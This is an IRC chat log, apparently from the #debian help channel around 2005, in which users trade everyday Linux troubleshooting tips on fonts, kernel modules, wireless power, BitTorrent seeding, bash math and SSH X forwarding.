| 15:39.45 | dpkg | O $DEITY, bless your child simplexe, again, who is about to do something stupid and needs all the help you can give. Amen. |
| 15:39.58 | shingouz | Unified: you might want to google it up. afaik most of the gizmos should work but of course there have to be exceptions too |
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| 15:40.17 | xoz | useruser: assuming it contains font paths |
| 15:40.23 | Unified | well it's listed on alsa-project.org and there are no notes, so i guess it does work |
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| 15:40.52 | shingouz | Unified: cross your fingers and try it ;) |
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| 15:41.08 | saposapo | where can andbody help me about htdig ? |
| 15:41.22 | xoz | saposapo: explain more |
| 15:41.27 | SerajewelKS | i just installed the 2.6.12-1-686 image from unstable. i successfully built and installed the nvidia module, but the fuse module will not insert after building: FATAL: Error inserting fuse (/lib/modules/2.6.12-1-686/kernel/fs/fuse/fuse.ko): Invalid module format |
| 15:41.29 | Unified | well, i have a nice retailer which would take it back if it doesn't work |
| 15:41.45 | Unified | and 50 bucks isn't that much, if i can watch dvds in 5.1 ... |
| 15:41.47 | useruser | xoz: it's ok, it Just Works |
| 15:41.49 | shingouz | Unified: what are you waiting for then? shoo, off to the store then :) |
| 15:41.53 | useruser | xoz: i was looking for the wrong font name :) |
| 15:42.00 | useruser | xoz: fontconfig rules |
| 15:42.05 | xoz | useruser: heh |
| 15:42.23 | SerajewelKS | i had a similar problem a while back trying to compile nvidia for 2.6.8 |
| 15:42.27 | saposapo | xoz: i am with difficults to install the htdig |
| 15:42.31 | xoz | useruser: i don't have fontconfig. are you using fontserver? |
| 15:42.34 | SerajewelKS | why would fuse compile and insert for 2.6.11 and not 2.6.12? |
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| 15:43.19 | useruser | xoz: i don't think so |
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| 15:43.40 | useruser | xoz: that is, xfs is running, but I don't think it has to particularly |
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| 15:43.56 | peterS | SerajewelKS: great numbers of things changed between 2.6.11 and 2.6.12. any of them could have broken external module interfaces such as fuse uses |
| 15:44.14 | xoz | useruser: i have fontconfig without my knowledge. hmm, it's using xml in its configuration. |
| 15:44.43 | useruser | xoz: yes. it's great. you just install fonts by shoving them in ~/.fonts |
| 15:44.54 | SerajewelKS | peterS, so what should i do? file a bug report against fuse-source? |
| 15:44.56 | useruser | xoz: most of the documentation on the web is too old to mention this |
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| 15:45.14 | shingouz | fluck.. i should upgrade this one box a bit more frequently... and the frigging thing is on sid too.. /me larts himself |
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| 15:45.22 | peterS | SerajewelKS: can if you want. they quite likely know already |
| 15:45.26 | xoz | useruser: i just rely on the xfs and xfstt |
| 15:46.03 | xoz | useruser: .fonts contain the paths? or in xml language. |
| 15:46.14 | peterS | xoz: just font files |
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| 15:46.44 | xoz | peterS: like -adobe-avantgarde-book-o-normal--0-0-0-0-p-0-iso8859-1? |
| 15:46.50 | knt | i want to distribute some files with the program's itself. (for instace /etc/myprog.conf, /var/myprog.log) which lines should i have in Makefile.am for this? (or should i have these lines in Makefile.am?) |
| 15:46.53 | peterS | xoz: like courier.ttf |
| 15:47.03 | peterS | xoz: ~/.fonts is a directory |
| 15:47.06 | useruser | xoz: think c:/windows/fonts |
| 15:47.10 | xoz | peterS: that's simpler |
| 15:47.25 | peterS | much simpler |
| 15:47.30 | xoz | peterS: ah, so it is just like drag and drop. |
| 15:47.44 | peterS | though in 5 years when nobody remembers what XLFD strings are, I'll kind of miss them |
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| 15:53.25 | jak | hello. i want to turn off my built in wireless card (running debian sarge on IBM X40). any idea how to do this on the fly? |
| 15:53.28 | jak | THX |
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| 15:53.46 | TTimo | iwconfig down wifi0 kind of thing |
| 15:53.49 | PerfDave | jak: What interface is it? |
| 15:54.04 | jak | PerfDave: what "interface" ? |
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| 15:54.09 | PerfDave | jak: Just remove the "auto" line in /etc/network/interfaces for the wireless card, or disable it in laptop-net or whatever. |
| 15:54.22 | PerfDave | jak: Network interfaces in Linux have names, like eth0, eth1, wi0 or whatever. |
| 15:54.40 | jak | PerfDave: i dont want to down it, i wanna turn it off completely (for power saving) |
| 15:54.47 | tbx | since there isn't a deb for orpheus, and alien --to-deb of the rpm fails, can anyone suggest a decent ncurses audio player? |
| 15:55.02 | PerfDave | jak: Ah, in that case you need to use something like iwconfig. |
| 15:55.14 | tbx | ...preferably one that has broad format support [mp3, ogg, flac, m4a] |
| 15:55.38 | jak | PerfDave: is it possible to turn it off completely with iwconfig? |
| 15:55.39 | simonrvn | moc is nice |
| 15:55.49 | simonrvn | mocp is the binary's name |
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| 15:56.06 | PerfDave | jak: It should be. Either with iwconfig or iwpriv. |
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| 15:57.00 | takatumi | wouldn't blacklisting the module help? |
| 15:57.19 | tucoz | I am installing etch in expert26-mode, and now try to apt-get install kernel-image 2.6.11, But that package can't be found |
| 15:57.37 | tbx | simonrvn: perhaps something with a playlist? |
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| 15:57.45 | shingouz | !tell tucoz about search |
| 15:57.49 | simonrvn | it has one |
| 15:57.50 | joaquin | Decent ncurses audio player = mplay (mplayer front-end ) (written in perl and out of debian repositories) |
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| 15:58.27 | joaquin | althought it crashes sometimes |
| 15:58.50 | XenoTrout | Not ncurses, but I like moosic. It's a daemon with command line client. |
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| 16:00.00 | myr | Hi everybody ! |
| 16:00.11 | c01100011 | how do i port the output of a command in a terminal to a file for easier reading ? |
| 16:00.20 | myr | How can I force my Debian NOT to boot with init2 ? |
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| 16:00.28 | peterS | c01100011: redirect with the ">" operator in the shell |
| 16:00.30 | stew | c01100011: cmd > file |
| 16:00.36 | myr | (how can I force it to stay in init 1 ?) |
| 16:00.39 | oKtosiTe_ | I seem to be getting a lot of "Invalid argument" errors in the middle of using programs, and storing files to the harddisk, what can this mean? |
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| 16:00.47 | stew | myr: /etc/inittab |
| 16:00.52 | stew | myr: (man inittab) |
| 16:00.53 | mith | myr: boot with the 'single' option to the kernel |
| 16:00.53 | c01100011 | thanks guys , off to dmesg and figure out why i have a 2 minuet boot |
| 16:01.17 | stew | c01100011: do you want dmesg | less |
| 16:01.19 | myr | Thank you very much ! |
| 16:01.22 | myr | bye |
| 16:01.29 | stew | c01100011: or less /var/log/dmesg ? |
| 16:01.29 | mith | ha, 2 minutes to boot? you say that like it's bad, why, I remember .... |
| 16:01.35 | shingouz | c01100011: also less /var/log/dmesg |
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| 16:01.44 | dabaR | Is it ok to steal dpkgs knowledge and put it in another bot? I suppose it likely is, what with all the open source, and stuff. |
| 16:01.54 | Anders | lol |
| 16:01.56 | c01100011 | stew- thanks |
| 16:02.01 | stew | c01100011: if you don't have less, apt-get install less . less is like the dos "more" program, but better |
| 16:02.11 | Nebulous | bot theft is a very serious crime that is threatening the safety of the country |
| 16:02.17 | orpheus | is it just me, or are debian unstable's package dependencies really hosed at the moment? |
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| 16:02.27 | mith | orpheus: probably |
| 16:02.33 | simplexe | hi |
| 16:02.34 | PerfDave | dabaR: You can't "steal" dpkg's knowledge unless you remove the original factoids. |
| 16:02.35 | mith | orpheus: which is why it's called unstable |
| 16:02.37 | PerfDave | orpheus: Welcome to unstable ;) |
| 16:02.37 | orpheus | upgrading just about anything uninstalls gnome... |
| 16:02.40 | orpheus | yeah |
| 16:02.41 | Nebulous | dos more program? dos more is copied from unix's more |
| 16:02.41 | takatumi | dabaR: /msg dpkg my factoids |
| 16:02.49 | c01100011 | will do get less thanks |
| 16:02.54 | Nebulous | orpheus: yes, completely hosed |
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| 16:03.03 | simplexe | peterS, the new 2.6 works but the serverx no ! |
| 16:03.04 | orpheus | just making sure it wasn't just me |
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| 16:03.14 | Nebulous | orpheus: i had to install a package from testing to get a lot of things to work again |
| 16:03.19 | peterS | simplexe: but the what? |
| 16:03.33 | simplexe | x |
| 16:03.45 | simplexe | the Xserver |
| 16:03.48 | Nebulous | now, a related question, is it just my deb sources file, or has unstable not been updated in over 5 days? |
| 16:03.50 | cddesjar | what's a good font to use in xchat? |
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| 16:03.55 | cddesjar | my fonts are all screwed up |
| 16:03.58 | peterS | simplexe: ah, the X server broke when you moved to 2.6.8? |
| 16:04.07 | Anders | cddesjar, http://fixedsys.org/ |
| 16:04.07 | Nebulous | cddesjar: I use Bitstream Vera Sans 11 |
| 16:04.12 | PerfDave | Nebulous: Read debian-devel-announce, all people running unstable should subscribe to it. |
| 16:04.16 | orpheus | Nebulous: same here |
| 16:04.29 | simplexe | heh tell me to make sure that there is no other server running at the same time |
| 16:04.38 | Nebulous | PerfDave: is there a way i can read it without subscribing? |
| 16:04.40 | Lee__ | would it be safe to remove /var/cache/debconf/templates.dat if i don't plan on installing anymore packages? |
| 16:04.48 | fhffhqvb | !mith mith |
| 16:04.53 | PerfDave | Nebulous: Yes, but you should still subscribe to it. http://lists.debian.org/ |
| 16:04.55 | dabaR | but I can use them? I just used steal as the word to describe me taking the knowledge. |
| 16:05.14 | Nebulous | i like to keep my email unused :P |
| 16:05.16 | simplexe | petr he tell me to make sure that there is no other server running at the same time |
| 16:05.16 | peterS | oh man. how long has it been since I've seen mith, rahul, *or* sussudio/fhffhqvb? |
| 16:05.21 | PerfDave | dabaR: I don't believe that any licensing condition is placed on dpkg factoids, but you could ask dondelelcaro for details. |
| 16:05.23 | simplexe | peterS, he tell me to make sure that there is no other server running at the same time |
| 16:05.32 | cddesjar | is anyone familiar with how to seed a torrent file with bittornado? |
| 16:05.36 | fhffhqvb | ~seen rahul |
| 16:05.38 | apt | rahul <rjain@66-234-32-170.nyc.cable.nyct.net> was last seen on IRC in channel #debian, 278d 13h 56m 7s ago, saying: 'xmms: just use the debian installer....'. |
| 16:05.38 | dabaR | thanks. |
| 16:05.43 | Nebulous | PerfDave: thanks, i'll check this out to see what the heck is up with unstable |
| 16:05.53 | peterS | cddesjar: just run btdownloadgui and select the torrent and the dir where the file already exists |
| 16:05.57 | PerfDave | Nebulous: That's nice for you. d-d-a is a low-traffic list and tells you what you need to know about major changes in unstable. This stops you asking dumb-ass questions in #debian :) |
| 16:06.06 | peterS | cddesjar: it'll figure out that it's already got the whole thing, and start seeding it |
| 16:06.12 | Nebulous | dumb-ass questions are what makes the world spin |
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| 16:06.26 | Anders | PerfDave, what thread says anything about "frozen" unstable? |
| 16:06.38 | cddesjar | peterS: do i need to have the whole copy before i can seed it? |
| 16:06.49 | cddesjar | that's a stupid question... |
| 16:06.51 | PerfDave | cddesjar: Create a .torrent file and give it to the tracker, then connect a client with the entire file to the tracker. |
| 16:06.51 | peterS | cddesjar: that's what a "seed" is, a BT client that has a whole copy of something |
| 16:06.59 | PerfDave | cddesjar: Yes, you need the whole file to create the .torrent too :) |
| 16:07.01 | cddesjar | i know |
| 16:07.03 | peterS | cddesjar: if you don't, you're not a seed. but you can still do the same thing |
| 16:07.14 | cddesjar | but i am not looking to create a .torrent just seed a file that i have downloaded |
| 16:07.19 | c01100011 | hmm, my dmsg looks clean, i think that detecting usb devices is what is slowing down my boot, as it has to adress all the usb on my keyboard/usb hub monitor/usbhub and my computers 8 usb ports, |
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| 16:07.24 | smhar_ | hi.. |
| 16:07.28 | PerfDave | Anders: It's in the last five e-mails :) |
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| 16:07.33 | Anders | PerfDave, ok |
| 16:07.41 | PerfDave | cddesjar: Ah, there's already a tracker for the file? |
| 16:07.52 | cddesjar | PerfDave: yup |
| 16:08.02 | smhar_ | I didn't find xen or nvu in debian, are they available for testing |
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| 16:08.11 | cddesjar | PerfDave: i try to open up the file but i can't seem to find a way to seed it |
| 16:08.25 | PerfDave | cddesjar: Then just connect your BitTorrent client to that tracker, with its complete copy of the file. |
| 16:08.26 | simplexe | peterS, what about me ?? |
| 16:08.37 | peterS | simplexe: honestly I don't know what would be going wrong with that |
| 16:08.43 | Nebulous | PerfDave: it has no archive :( is there any other way I can view dev-list messages that I haven't recieved? |
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| 16:09.03 | Lee__ | c01100011: disable hotplug. that'll speed up booting but might not load the drivers you need. |
| 16:09.21 | XenoTrout | I'm trying what seems like a strange install; oldworld powerpc that only has OS X. I haven't been able to boot an installer. |
| 16:09.44 | Lee__ | smhar_: there's an unofficial Xen package but I find it simpler to use just the 2.6 kernel source from xen.sf.net with sarge. |
| 16:09.47 | peterS | XenoTrout: I keep referring people to simonrvn this morning (: |
| 16:09.51 | simplexe | peterS, do u think that downloading the first cd of a new debian version and installing the rest online will be a solution ? |
| 16:09.51 | PerfDave | Nebulous: debian-devel-announce *does* have an archive, on http://lists.debian.org/ |
| 16:09.53 | cddesjar | hmm...i just downloaded something with a tracker. so i now have the complete copy. i saved it to /home/foo/bar, then i tried to open up btdownloadgui to seed a file |
| 16:10.04 | PerfDave | XenoTrout: You may want to ask #debianppc |
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| 16:10.05 | Nebulous | er, you're right |
| 16:10.07 | cddesjar | but i can't find a torrent file |
| 16:10.15 | Nebulous | I accidently clicked all-changes instead of announce |
| 16:10.15 | peterS | simplexe: what version of debian have you got, anyway? 'cat /etc/debian_version' |
| 16:10.21 | smhar_ | Lee__, what about nvu |
| 16:10.28 | shingouz | c01100011: discover is a pain in the ass too, takes forever on older hardware but you have to configure the stuff manually if no discover. usbmgr and cardmgr can replace hotplug |
| 16:10.28 | Lee__ | smhar_: never heard of it. |
| 16:10.30 | XenoTrout | PerfDave: so that's what it's called...I thought it would be #debian-ppc |
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| 16:10.38 | sichemist | Hi. Does anyone know of a utility to detect the baud rate of a serial connected device? |
| 16:10.41 | PerfDave | cddesjar: The .torrent file will probably be in /tmp if you configured your browser to open .torrent files in btdownloadgui automatically. |
| 16:10.55 | simplexe | peterS, 3.1 |
| 16:11.01 | cmatheson | hey guys, i'm trying to write a bash script doing some simple math (find a percentage), but i always get 0. is there a way to make bash handle decimals? |
| 16:11.01 | Lee__ | I accidently hotplug/discover on a 266Mhz Geode. Man, that took forever :) |
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| 16:11.14 | smhar_ | Lee__, it is a wysiwyg web designer.. from linspire people |
| 16:11.20 | peterS | simplexe: so, you could try updating your packages, if they aren't already - aptitude update; aptitude dist-upgrade |
| 16:11.27 | wombachi | cmatheson : multiply everything by 100 to get 2 decimals? |
| 16:11.29 | Lee__ | !tell smhar_ about search |
| 16:11.33 | peterS | simplexe: but I'm guessing yours are already up-to-date or nearly so |
| 16:11.34 | cddesjar | PerfDave: that worked thanks! |
| 16:11.38 | wombachi | cmatheson : use 'expr' ? |
| 16:11.43 | Nebulous | thank you PerfDave |
| 16:11.52 | cmatheson | wombachi: i tried the multiply thing... no luck. i'll check out expr |
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| 16:11.56 | PerfDave | cddesjar: Yay. You'll want to move the .torrent to your home directory or something though :) |
| 16:12.18 | PerfDave | cddesjar: FWIW, I just use btlaunchmanycurses running in screen, and save new .torrent files in ~/bittorrent/ :) |
| 16:12.19 | sichemist | Lee__: I'm using a geode machine to log data from an instrument. Without hotplug, the boot time is down to less than a minute! |
| 16:12.23 | stew | cmatheson: make your divisor have a decimal, like change $((1/2)) to $((1/2.0)) |
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| 16:12.32 | simplexe | peterS, i'm up to date |
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| 16:12.38 | Lee__ | sichemist: yeah, same here. About 40 seconds. |
| 16:12.46 | wombachi | cmatheson oops, seems expr is only for int, sorry |
| 16:12.47 | cmatheson | stew: oh cool, thanks |
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| 16:12.53 | cmatheson | wombachi: it's ok |
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| 16:12.58 | peterS | stew: bash does floating point now? I thought only ksh did |
| 16:13.01 | simplexe | peterS, why i'm up to date and the kernel is not the newest one ?? |
| 16:13.06 | smhar_ | Lee__, I did search but didn't find them |
| 16:13.07 | cddesjar | ok great thanks! |
| 16:13.09 | c01100011 | shingouz allright i am going to give usbmgr and cardmgr a shot , as i have a full day to fix anything if i break it and these slowbootss are getting annoying as i have been turning my computer off since it produces more heat than my ac can remove |
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| 16:13.20 | stew | peterS: guess so. i just happened to try it to see |
| 16:13.21 | shingouz | c01100011: laptop? desktop? |
| 16:13.23 | peterS | simplexe: the kernel doesn't get automatically upgraded along with the rest of the system |
| 16:13.24 | Lee__ | smhar_: that means they aren't in your version of Debian. |
| 16:13.27 | rico | moin zusammen |
| 16:13.32 | peterS | stew: probably works in zsh. it does work in ksh93. |
| 16:13.33 | c01100011 | shingouz desktop |
| 16:13.36 | sichemist | Does anyone know of a way to detect the baud rate of a connected serial device? |
| 16:13.45 | stew | peterS: oh, doh, yeah i'm on zsh |
| 16:13.49 | peterS | sichemist: trial and error. no real shortcuts |
| 16:13.50 | shingouz | c01100011: in that case you do not need cardmgr, it is for pcmcia |
| 16:13.57 | smhar_ | I am using debian sarge testing, but dist-upgraded it |
| 16:13.59 | Lee__ | sichemist: read the manual :) |
| 16:14.04 | simplexe | peterS, downloading a debian with the 2.6 will resolve my problem ?? |
| 16:14.06 | Lee__ | but seriously, that would be useful. |
| 16:14.11 | peterS | sichemist: that's one great weakness of the RS232 protocol - you have to know the settings before it'll work |
| 16:14.15 | stew | cmatheson: nevermind what i said. i was using zsh not bash |
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| 16:14.22 | PerfDave | smhar_: "Debian sarge testing" is meaningless. Either you're running sarge/stable, or etch/testing :) |
| 16:14.27 | shingouz | smhar_ sarge is stable, etch is testing |
| 16:14.28 | stew | peterS: yeah i forgot that i had changed this machine to zsh |
| 16:14.30 | sichemist | The problem is that the device sometimes keeps previous settings and sometimes doesn't |
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| 16:14.32 | Lee__ | simplexe: you're still having audio problems and you just now say you are running a 2.4 kernel?!? |
| 16:14.32 | peterS | simplexe: you already did, you already installed 2.6.8-2-686. I don't know what would happen differently if you reinstalled debian |
| 16:14.40 | stew | cmatheson: you can use bc, maybe |
| 16:14.50 | peterS | sichemist: well, you can see current settings with 'stty -a' |
| 16:14.50 | cmatheson | tste |
| 16:14.56 | cmatheson | oops |
| 16:14.59 | orpheus | yeah |
| 16:15.01 | peterS | sichemist: but 'dpkg-reconfigure setserial' to determine what setserial does at boot time |
| 16:15.16 | cmatheson | stew: yeah, i was looking at bc.. i cant' figure out how to feed stuff in at the command line though |
| 16:15.30 | sichemist | peterS: Doesn't stty -a just tell you your current terminal settings? |
| 16:15.37 | peterS | sichemist: setserial is not that important because many apps that use serial ports have their own baud settings that they apply when they start up |
| 16:15.40 | simplexe | peterS, i'm on the old linux the 2.4 the 2.6 runs but not the graphical environement !! |
| 16:15.42 | smhar_ | PerfDave, shingouz I know.. it was sarge testing when I firsr installed it and after sarge went stable I dist-upgraded it to etch testing |
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| 16:15.55 | peterS | sichemist: yes, but you can do stty -a < /dev/ttyS0 and it'll think ttyS0 is your current terminal |
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| 16:16.15 | simplexe | peterS, now i have on lilo "linux" and "old linux" |
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| 16:16.19 | Lee__ | sichemist: are you using an initrd with your Geode? |
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| 16:16.24 | sichemist | peterS: Yes, but that won't tell me what the device on the other end is set to. |
| 16:16.38 | stew | cmatheson: echo "scale=2; 1/2" | bc <- this will return .50. scale is number of decimal points to carry |
| 16:16.40 | lool | hey people, can someone help me choose a PostgreSQL Python package? |
| 16:16.53 | peterS | sichemist: indeed it won't. that'll tell you what Linux is trying to use right now. as I said, you *can't* find out what the other end is doing except by trying different speeds and seeing what communicates properly |
| 16:16.53 | PerfDave | smhar_: Then you're running etch, not sarge. |
| 16:16.55 | shingouz | smhar_: you are confusing yourself with the sarge/stable sarge/testing thing. either sarge or stable now and etch or testing |
| 16:17.04 | c01100011 | can i get the man pages for a package i don't have installed ? |
| 16:17.05 | cmatheson | stew: rockin' thanks a lot |
| 16:17.16 | sichemist | Lee: Yep on the initrd |
| 16:17.24 | peterS | c01100011: in general you have to install that package |
| 16:17.25 | lool | c01100011: google them or download the .deb and extract with dpkg-deb |
| 16:17.41 | simplexe | peterS, ?? |
| 16:17.43 | Lee__ | sichemist: me too. I'm thinking of trying to get rid of it. |
| 16:18.00 | peterS | c01100011: right, there's also a man page repository on some freebsd.org server that includes debian manpages |
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| 16:18.22 | lars^ | is there anybody there can recomend a good linux security book at amazon.com ? |
| 16:18.30 | oKtosiTe_ | I want to have udev and hal, but whenever I install them, a big part my device tree seems to be broken. What's happening? |
| 16:18.34 | peterS | simplexe: I think I told you awhile back that I didn't know why X would refuse to start on a 2.6 kernel. maybe someone else here has some ideas |
| 16:18.43 | jetx | wtf does gnome make a .gconf, a .gconfd, a .gnome, a .gnome2, and a .gnome_private ? why didn't the maintainer/creator put it under all under a .gnome-confdir or whatever. that's dum/silly/not_very_aesthetic |
| 16:18.48 | sichemist | Lee__: The unit I'm using has plenty of RAM and is pretty overpowered for what I'm using it for. So, I have decided it isn't worth the hassle to get rid of. |
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| 16:19.12 | indole | I just picked up a new monitor. What should I do next to ensure my system recognizes it? |
| 16:19.34 | Lee__ | sichemist: I'm concerned about storage. the initrd is four times the size of the kernel! |
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| 16:20.02 | sichemist | Lee__: My unit has a 20GB HDD. Nyah Nyah :-) |
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| 16:20.12 | simplexe | i've installed a 2.6 kernel but the x don't want to load and tell me to verify if there is another Xserver running and that he had a wrong priority! any ideas ?? |
| 16:20.13 | jetx | hwinfo --monitor, note the v&h refresh rates, indole. should 'just work' except in X. (lcd ymmv) |
| 16:20.16 | Lee__ | 512M CF card. *pshhhhhttt |
| 16:20.20 | oKtosiTe_ | indole: make sure you look at the maximum resolutions and vsync/hsync, and run "dpkg-reconfigure xserver-xfree86" |
| 16:20.22 | shingouz | peterS: simplexe: i have had X not start with an older ATI even on VESA when the system had the framebuffer enabled in the custom kernel. without the fb X started |
| 16:20.24 | peterS | Lee__: if that bothers you, check out 'yaird'. it creates sleek little initrds for 2.6 kernels |
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| 16:20.54 | peterS | Lee__: actually that's a little white lie, it creates initramfs images. but same idea. anyway, those only work on 2.6 kernels |
| 16:20.56 | Lee__ | peterS: awesome! |
| 16:21.00 | oKtosiTe_ | indole: is it a crt or tft? |
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| 16:21.13 | Lee__ | currently I'm trying to get as much of the filesystem into RAM as possible |
| 16:21.20 | c01100011 | alright , just installed usbmgr, which removed hotplug any conuration required before i give it a reboot ? |
| 16:21.47 | shingouz | c01100011: probably not |
| 16:21.49 | peterS | Lee__: yaird is a fairly new package, so use it with care. it's worth looking at, anyway, though |
| 16:21.50 | jak | anyone knows how to turn off ones wireless device completely on a ibm x40? |
| 16:22.02 | jetx | wire cutters? |
| 16:22.05 | stew | jak: remove the driver from the kernel |
| 16:22.07 | jetx | :o |
| 16:22.14 | c01100011 | wow, i got a reply with my butcherd spelling of configuration ! you are great , thanks , Reboot |
| 16:22.16 | peterS | stew: does that power down the device? he wants to save battery |
| 16:22.21 | Lee__ | peterS: I may just stick with make-kpkg and manual configuration. yea trial and error! |
| 16:22.23 | indole | oKtosiTe_: It's a TFT. |
| 16:22.26 | peterS | Lee__: hehe |
| 16:22.30 | jak | stew: i want to turn it off, for saving power... |
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| 16:22.47 | jetx | what is a tft. lcd monitor? |
| 16:23.02 | oKtosiTe_ | indole: just make sure you get the resolution right then. |
| 16:23.10 | stew | jak: yes, removing the driver works |
| 16:23.16 | simplexe | thx guys |
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| 16:23.19 | oKtosiTe_ | jetx: yes |
| 16:23.38 | jak | stew: hummm... ill give it a try... |
| 16:23.42 | stew | jak: oh, i mean, use modprobe -r; not get rid of the driver completely |
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| 16:24.05 | jak | stew: yes, of course... |
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| 16:24.11 | jak | stew: haha... |
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| 16:24.38 | fantomas | Hi. How to quickly convert numbers between dec, hex, bin? |
| 16:24.57 | Lee__ | kind of random question. is /var mounted and written to before /etc/fstab is consulted during init? |
| 16:25.22 | fantomas | Lee__: no (imo) |
| 16:25.26 | LoRez | Lee__: no |
| 16:25.36 | Lee__ | excellent |
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| 16:25.46 | jak | stew: humm... my led keeps on blinking |
| 16:25.46 | waltermh | hi all |
| 16:25.48 | fantomas | Lee__: glad to see you happy :) |
| 16:25.54 | stew | Lee__: before /etc/fstab is consulted it wouldnt' know where to find /var |
| 16:25.59 | stew | jak: hmm, works on my t42 |
| 16:26.19 | Lee__ | but it mounts / for some of the early scripts in /etc/rcS.d |
| 16:26.40 | Lee__ | or is that all coming from the initrd? |
| 16:26.42 | fantomas | Well, what about my question? Is there a kind of console calculator which can convert numbers? |
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| 16:26.56 | dabaR | Can I somehow install alsamixer to use that program? |
| 16:26.58 | Lee__ | fantomas: bc? |
| 16:27.06 | Lee__ | !alsa |
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| 16:27.24 | LSorensen | davi: alsamixer should be easy to install. usualyl part of alsa-utils |
| 16:27.33 | dabaR | aha, thank you. |
| 16:27.33 | LSorensen | er dabaR |
| 16:27.38 | Lee__ | did dpkg forget about alsa? |
| 16:27.39 | TTimo | still no functional ftp mirrors ? |
| 16:27.48 | LoRez | Lee__: the kernel knows where the root fs is. |
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| 16:28.20 | Lee__ | oh, I get it. and it only needs to read at that point? |
| 16:28.23 | stew | Lee__: yes the kernel must be told at boot time where / is, and /etc must be on / |
| 16:28.27 | fantomas | LoRez: doesn't lilo pass it as a parameter? |
| 16:28.40 | dabaR | hehe, it requires onfiguration. can I dpkg-reconfigure the utils? |
| 16:28.41 | Lee__ | grub does. I didn't make the connection. |
| 16:28.50 | Lee__ | dabaR: run alsaconf |
| 16:29.12 | LoRez | fantomas: it can and you can override it that way, but the kernel has it stored internally as well. |
| 16:29.29 | RvGaTe | any cool stuff that i could install on my server? i got samba, eggdrop, cups, apache already... any ideas? |
| 16:29.35 | LoRez | fantomas, Lee__: run rdev on your kernels :) |
| 16:29.46 | dabaR | v alsaconf v alsaconf-0.4 which one, just the plain one, right? |
| 16:29.54 | jetx | i see nobody had an answer for the inanities of gnome conf_dirs... mwilson must be asleep... :o |
| 16:30.04 | Lee__ | !cool stuff |
| 16:30.09 | Lee__ | RvGaTe: guess not. |
| 16:30.20 | RvGaTe | :( |
| 16:30.23 | jetx | RvGaTe: you need asterisk |
| 16:30.28 | stew | jetx: irc.gnome.org |
| 16:30.29 | RvGaTe | whats that |
| 16:30.33 | Lee__ | oh, hell yeah. Asterisk is totally cool! |
| 16:30.34 | stew | !asterisk |
| 16:30.34 | dpkg | it has been said that asterisk is a VoIP phone system for linux. Very powerful very cool, or #asterisk-stable |
| 16:30.35 | fantomas | LoRez: never :) rdev is evil :) |
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| 16:30.37 | jetx | internet telephone stuff |
| 16:30.40 | jetx | ah |
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| 16:31.28 | jetx | supybot you might like better |
| 16:31.32 | Lee__ | I think pure data is pretty cool. you can install that. |
| 16:31.34 | sobersabre | hi,.. i've got strange probl, with thunderbird \ |
| 16:31.39 | RvGaTe | jetx: thats an irc bot ? |
| 16:31.43 | jetx | ya |
| 16:31.48 | RvGaTe | pages ? |
| 16:31.49 | Lorvija | is there a good command line program to convert .vob > .avi? |
| 16:31.55 | jetx | #supybot |
| 16:32.07 | dabaR | weird, I try to install that v package, alsaconf, and nothing.Just ignores it. |
| 16:32.07 | sobersabre | version: 1.0.6 when creating a new message, i get error: Could not acquire editor object |
| 16:32.08 | jetx | dvd::rip functions |
| 16:32.23 | jetx | doh |
| 16:32.33 | jetx | transcode/mencoder for cli |
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| 16:33.07 | jetx | supybot.org i 'think' |
| 16:33.22 | RvGaTe | .com ;) |
| 16:33.26 | sobersabre | and another: when I press "Enter" there's no effect. Only "Shift-Enter" passes the cursor to the new line! |
| 16:33.40 | dabaR | dpkg tells me alsaconf does not exist. |
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| 16:33.50 | jetx | it's in alsa-base, iirc |
| 16:34.20 | sobersabre | does anybody know what is it about ? |
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| 16:34.38 | RvGaTe | jetx: and why do i like it better then eggdrop ? |
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| 16:35.06 | dabaR | jetx, heh, maybe needs sudo? |
| 16:35.11 | kl12 | hi, any one knows how to do graphical ssh? |
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| 16:35.22 | dabaR | sure does |
| 16:35.41 | dabaR | is setting up alsa wtih alsaconf gonna screw my esd up? |
| 16:35.42 | Lee__ | kl12: uhhhhh, xterm? gnome-terminal? |
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| 16:35.56 | cddesjar | urgh...i screwd up all my fonts |
| 16:36.14 | ufoalien | kl12: you mean a gui? |
| 16:36.16 | jetx | RvGaTe: i believe it's better maintained and developed, and has features from other bots also. ymmv and all that. but i think you 'may' like it better. |
| 16:36.30 | kl12 | gnome-terminal? |
| 16:36.36 | RvGaTe | jetx: you have it to ? |
| 16:36.42 | jetx | !info secpanel |
| 16:36.48 | dpkg | secpanel: (A graphical user interface for SSH and SCP), section net, is optional. Version: 0.41+0.4.2-2 (sid), Packaged size: 48 kB, Installed size: 384 kB |
| 16:36.50 | kl12 | ufoalien what is gui? |
| 16:36.51 | jetx | RvGaTe: i did, when i ran a bot. |
| 16:36.52 | eeyore- | everytime i hear "eggdrop" i think of the soup... |
| 16:36.57 | fantomas | kl12: ssh -X ? |
| 16:37.02 | dabaR | sure didnt screw it up, ok, thanks, set now. |
| 16:37.03 | RvGaTe | jetx: so i cant take a look ? :( |
| 16:37.07 | kl12 | fantomas yees |
| 16:37.19 | kl12 | fantomas yes |
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| 16:37.48 | fantomas | kl12: so, then ssh -X :) Don't forget to enable X forwarding |
| 16:37.55 | RvGaTe | !info supybot |
| 16:37.55 | jetx | RvGaTe: there is a #supybot-bots channel, i forget the name exactly. you can also play with the blootbots on #debian-bots (dpkg, apt, etc) |
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| 16:38.01 | dpkg | supybot: (robust and user friendly Python IRC bot), section net, is optional. Version: 0.80.1-4 (sid), Packaged size: 589 kB, Installed size: 2968 kB |
| 16:38.13 | kl12 | what is x forwarding fantomas |
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| 16:38.37 | jetx | RvGaTe: what i liked best about the supybot is the database. it 'just works'. no hassle |
| 16:38.45 | kl12 | fantomas or where can i enable x forwarding |
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| 16:38.55 | RvGaTe | jetx: how easy is it to install ? |
| 16:39.22 | jetx | easy easy easy. this is after i played with the blootbots, also. |
| 16:39.25 | saposapo | do anybody here already install nou-rau and can help me? |
| 16:39.29 | jetx | hard hard hard |
| 16:39.37 | RvGaTe | jetx: hehe |
| 16:39.37 | jetx | the bloots |
| 16:39.38 | Lee__ | fantomas: why do you want a GUI for ssh when you appear to not know much about using it yet? stick with a shell then start messing with a GUI. |
| 16:39.52 | RvGaTe | jetx: got msn? |
| 16:40.01 | Lee__ | fantomas: sorry |
| 16:40.02 | kl12 | any one knows how to enable x forwarding? |
| 16:40.03 | jetx | no! :) |
| 16:40.09 | RvGaTe | yes you do :P |
| 16:40.11 | Lee__ | that was for kl12 |
| 16:40.16 | RvGaTe | you just dont like to give it away, hehe |
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| 16:40.27 | dabaR | kl12: /etc/ssh/sshd_conf |
| 16:40.28 | fantomas | Lee__: :) |
